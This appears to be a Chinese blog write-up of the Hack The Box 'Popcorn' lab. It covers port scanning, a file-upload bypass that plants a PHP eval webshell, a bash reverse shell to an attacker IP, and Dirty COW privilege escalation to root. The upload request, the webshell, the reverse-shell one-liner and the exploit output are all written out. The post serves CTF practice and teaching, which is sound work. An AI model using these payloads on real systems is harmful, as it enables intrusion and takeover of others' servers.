HTB Popcorn 渗透测试详细记录

你是慕鸢呀~ 发布于 6 天前 4 次阅读 2428 字 预计阅读时间: 11 分钟


HTB Popcorn 渗透测试详细记录

摘要

本文详细记录了对 HTB Popcorn 靶机的完整渗透测试过程。通过端口扫描发现目标主机开放了 SSH 和 HTTP 服务,并通过目录枚举找到了一个种子分享网站。利用该网站的图片上传功能绕过文件类型验证,成功上传了一句话木马并获取了初始 shell 权限。最终通过分析目标系统内核版本,使用脏牛(Dirty COW)漏洞成功提权至 root 权限,完成了对靶机的渗透测试。

关键技术

  • 文件上传漏洞利用
  • 文件类型验证绕过
  • Linux 内核漏洞利用 (Dirty COW)

1. 初始侦察阶段

全端口快速扫描

使用 Nmap 进行初始端口扫描,快速识别开放端口:

nmap -sT -min-rate 10000 -p- 10.10.10.6

参数解释:

  • -sT:TCP 连接扫描,建立完整的 TCP 连接
  • -min-rate 10000:设置最小发包速率为每秒 10000 个,加快扫描速度
  • -p-:扫描所有 65535 个端口
  • 10.10.10.6:目标 IP 地址

扫描结果:

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

详细服务扫描

针对发现的开放端口进行深入探测,识别具体服务版本与配置:

nmap -sT -sCV -p 22,80 10.10.10.6

参数解释:

  • -sT:TCP 连接扫描
  • -sCV:启用服务版本检测(-sV)与默认脚本扫描(-sC)
  • -p 22,80:仅扫描特定端口
  • 10.10.10.6:目标 IP 地址

扫描结果:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 3e:c8:1b:15:21:15:50:ec:6e:63:bc:c5:6b:80:7b:38 (DSA)
|_  2048 aa:1f:79:21:b8:42:f4:8a:38:bd:b8:05:ef:1a:07:4d (RSA)
80/tcp open  http    Apache httpd 2.2.12
|_http-server-header: Apache/2.2.12 (Ubuntu)
|_http-title: Did not follow redirect to http://popcorn.htb/
Service Info: Host: popcorn.hackthebox.gr; OS: Linux; CPE: cpe:/o:linux:linux_kernel

2. 服务探测与信息收集

主机名配置

HTTP 服务重定向到 popcorn.htb 域名,在本地 hosts 文件中添加域名解析:

echo '10.10.10.6 popcorn.htb' >> /etc/hosts

访问 popcorn.htb 后显示标准的 Apache 默认页面:

Apache 默认页面

目录枚举

使用 feroxbuster 进行 Web 目录枚举:

feroxbuster -u http://popcorn.htb/ --no-recursion --methods GET,POST

参数解释:

  • -u http://popcorn.htb/:指定目标 URL
  • --no-recursion:不递归扫描子目录
  • --methods GET,POST:使用 GET 和 POST 方法进行扫描

发现信息泄露

访问 http://popcorn.htb/test.php,发现是一个 phpinfo() 页面,显示 PHP 配置信息,包括启用了文件上传功能:

phpinfo 页面

访问 http://popcorn.htb/rename/,发现一个文件重命名接口

文件上传接口

访问 http://popcorn.htb/torrent/login.php,发现是一个种子分享网站,有上传功能,但是需要登录,尝试注册一个账号登录

种子分享登录页面

3. 漏洞识别与初始访问

注册账号并探索上传功能

注册一个新账号并登录到种子分享网站,尝试使用上传功能上传一句话木马失败,系统提示只能上传种子文件。

下载并上传一个合法的 torrent 文件:

https://cdimage.kali.org/kali-2025.1a/kali-linux-2025.1a-installer-amd64.iso.torrent

上传成功后显示以下页面:

上传成功页面

文件上传漏洞利用

点击"Edit this torrent",发现可以上传种子的介绍图片。尝试通过这个功能点上传 Webshell。

  1. 构造简单的一句话木马,保存为 php.jpg:
<?php @eval($_POST['a']) ?>

构造木马文件

  1. 上传 php.jpg,同时使用 Burp Suite 拦截并修改请求:
    • 修改 Content-Disposition 字段:form-data; name="file"; filename="php.php"

请求数据包内容:

POST /torrent/upload_file.php?mode=upload&id=9ba2973f0afd6c7cdd5356efed489e3fb0cdf20f HTTP/1.1
Host: popcorn.htb
Content-Length: 319
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://popcorn.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAIZjD4ZOVmv1R0Eh
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://popcorn.htb/torrent/edit.php?mode=edit&id=9ba2973f0afd6c7cdd5356efed489e3fb0cdf20f
Accept-Encoding: gzip, deflate, br
Cookie: /torrent/torrents.php=; /torrent/login.php=; /torrent/index.php=; /torrent/=; /torrent/torrents.phpfirsttimeload=0; saveit_0=1; saveit_1=1; PHPSESSID=685bc2508df8b0502d44db3e0835f74e
Connection: keep-alive

------WebKitFormBoundaryAIZjD4ZOVmv1R0Eh
Content-Disposition: form-data; name="file"; filename="php.php"
Content-Type: image/jpeg

<?php @eval($_POST['a']) ?>

------WebKitFormBoundaryAIZjD4ZOVmv1R0Eh
Content-Disposition: form-data; name="submit"

Submit Screenshot
------WebKitFormBoundaryAIZjD4ZOVmv1R0Eh--

Burp Suite 拦截请求

上传成功:

上传成功

定位 Webshell 并建立初始访问

通过分析站点结构,找到上传目录:http://popcorn.htb/torrent/upload/

上传目录内容

定位到上传的 Webshell 文件:

找到 Webshell

使用中国蚁剑连接 Webshell,成功获取 www-data 权限:

蚁剑连接成功

www-data 权限

4. 横向移动

成功访问用户目录,获取 user.txt 文件:

获取 user.txt

(www-data:/var/www/torrent/upload) $ cd /home
(www-data:/home) $ ls
george
(www-data:/home) $ cd george
(www-data:/home/george) $ ls
torrenthoster.zip
user.txt
(www-data:/home/george) $ cat user.txt
341497c6c2e8841bafe96e0ac69efc9a

5. 权限提升前的信息收集

检查用户目录结构和权限:

(www-data:/home/george) $ ls -al
total 860
drwxr-xr-x 3 george george   4096 Oct 26  2023 .
drwxr-xr-x 3 root   root     4096 Mar 17  2017 ..
lrwxrwxrwx 1 george george      9 Oct 26  2020 .bash_history -> /dev/null
-rw-r--r-- 1 george george    220 Mar 17  2017 .bash_logout
-rw-r--r-- 1 george george   3180 Mar 17  2017 .bashrc
drwxr-xr-x 2 george george   4096 Mar 17  2017 .cache
-rw-r--r-- 1 george george    675 Mar 17  2017 .profile
-rw-r--r-- 1 george george      0 Mar 17  2017 .sudo_as_admin_successful
-rw-r--r-- 1 george george 848727 Mar 17  2017 torrenthoster.zip
-rw-r--r-- 1 george george     33 Apr 26 16:59 user.txt

检查系统内核版本:

uname -a
Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686 GNU/Linux

发现目标系统运行的是 2.6.31 版本的 Linux 内核,该版本存在脏牛(Dirty COW)本地权限提升漏洞。

参考链接 https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

6. 权限提升

建立反弹 Shell

在攻击者主机上设置监听器:

nc -lvnp 9999

通过蚁剑终端执行反弹 Shell 命令:

bash -c 'bash -i >& /dev/tcp/10.10.16.26/9999 0>&1'

成功获取反弹 Shell:

listening on [any] 9999 ...

connect to [10.10.16.26] from (UNKNOWN) [10.10.10.6] 35170
bash: no job control in this shell
www-data@popcorn:/tmp$ 

优化 Shell

使用 Python 的 pty 模块升级 Shell:

python -c 'import pty; pty.spawn("/bin/bash")'

完整的 Shell 升级步骤:

# 在反向 shell 中执行
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z (挂起进程)

# 在本地终端执行
$ stty raw -echo; fg
(按回车)

# 重新进入反向 shell 后执行
$ export TERM=xterm

利用 Dirty COW 漏洞提权

使用蚁剑将 Dirty COW 漏洞利用代码(dirty.c) https://github.com/FireFart/dirtycow/blob/master/dirty.c 上传到 /tmp 目录:

上传漏洞利用代码

编译并执行漏洞利用代码:

chmod 777 dirty.c
gcc -pthread dirty.c -o dirty -lcrypt

执行漏洞利用程序,设置新用户密码为 123456:

www-data@popcorn:/tmp$ ./dirty 
File /tmp/passwd.bak already exists! Please delete it and run again
www-data@popcorn:/tmp$ ./dirty 
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: 
Complete line:
firefart:fi8RL.Us0cfSs:0:0:pwned:/root:/bin/bash

mmap: b7814000

切换到新创建的具有 root 权限的用户:

su: Authentication failure
www-data@popcorn:/tmp$ su - firefart
Password: 
firefart@popcorn:~# id
uid=0(firefart) gid=0(root) groups=0(root)

成功获取 root 权限并读取 root.txt 文件:

firefart@popcorn:~# cat /root/root.txt
b953ebdbc80e9a1abe396a6b18ebfc45

7. 总结

安全漏洞列表

  1. 信息泄露
    • phpinfo() 页面泄露了服务器配置信息
    • 敏感目录未设置访问控制
  2. 文件上传漏洞
    • 上传功能仅通过 MIME 类型和文件扩展名验证文件类型
    • 文件类型验证可被绕过
  3. 操作系统漏洞
    • Linux 内核版本过旧(2.6.31)
    • 存在 Dirty COW (CVE-2016-5195) 本地提权漏洞

完整攻击链路图

初始侦察
   |
   ↓
端口扫描 (22/TCP, 80/TCP)
   |
   ↓
Web服务发现与枚举
   |
   +---------------+
   |               |
   ↓               ↓
phpinfo页面     种子分享网站
   |               |
   |               ↓
   |          账户注册与登录
   |               |
   |               ↓
   |          上传合法种子文件
   |               |
   |               ↓
   +----→    图片上传功能
                  |
                  ↓
            文件类型验证绕过
                  |
                  ↓
            Webshell上传成功
                  |
                  ↓
            获取www-data权限
                  |
                  ↓
            系统信息收集
                  |
                  ↓
            内核版本识别(2.6.31)
                  |
                  ↓
            Dirty COW漏洞利用
                  |
                  ↓
            root权限获取
                  |
                  ↓
            任务完成

各阶段关键点总结

  1. 侦察阶段:快速扫描全端口,发现 Web 服务并确认主机名配置。
  2. 信息收集:目录枚举发现 phpinfo 页面和种子分享网站。
  3. 漏洞利用:通过修改文件上传请求,绕过文件类型验证上传 Webshell。
  4. 权限提升:利用 Linux 内核 Dirty COW 漏洞将普通用户权限提升至 root 权限。

攻击向量简明展示

  • 初始访问:Web 应用文件上传漏洞
  • 持久化:PHP Webshell
  • 权限提升:Dirty COW 内核漏洞(CVE-2016-5195)

结束语

这次打靶练习通过精细的信息收集和扎实的基本功,成功从零权限提升至 root 权限,熟悉了脏牛提权.

image-20250427024948206

我本桀骜少年臣,不信鬼神不信人。
最后更新于 2025-04-27